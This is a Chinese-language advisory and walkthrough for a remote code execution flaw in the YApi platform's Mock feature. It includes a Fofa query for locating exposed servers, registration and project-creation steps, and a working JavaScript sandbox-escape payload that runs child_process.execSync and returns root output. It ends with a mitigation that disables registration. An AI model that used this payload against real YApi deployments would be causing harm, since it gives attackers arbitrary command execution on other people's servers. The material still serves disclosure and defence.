漏洞描述

YApi接口管理平台远程代码执行0day漏洞,攻击者可通过平台注册用户添加接口,设置mock脚本从而执行任意代码。鉴于该漏洞目前处于0day漏洞利用状态,强烈建议客户尽快采取缓解措施以避免受此漏洞影响

Fofa

app="YApi"

1.主界面
Yapi Mock 远程代码执行漏洞

2.默认开启注册功能,注册新用户
Yapi Mock 远程代码执行漏洞

3.点击加号新建项目
Yapi Mock 远程代码执行漏洞

4.添加接口
Yapi Mock 远程代码执行漏洞

5.选择高级Mock-》开启-》写入POC

const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("whoami").toString()

Yapi Mock 远程代码执行漏洞

6.进入预览,点击Mock地址链接
Yapi Mock 远程代码执行漏洞

7.查看结果权限为root
Yapi Mock 远程代码执行漏洞

解决方案

Yapi作者已经停止更新。临时修复建议禁止用户注册,具体配置参考原文链接:
https://hellosean1025.github.io/yapi/devops/index.html#禁止注册

参考链接

https://mp.weixin.qq.com/s/y_oMGPvgL9Mm4IVDb6RjxA

相关文章:

  • 2021-08-22
  • 2022-02-25
  • 2021-09-26
  • 2022-12-23
  • 2022-12-23
猜你喜欢
  • 2021-05-12
  • 2021-05-14
  • 2021-10-26
  • 2021-12-16
  • 2021-07-02
  • 2021-07-15
相关资源
相似解决方案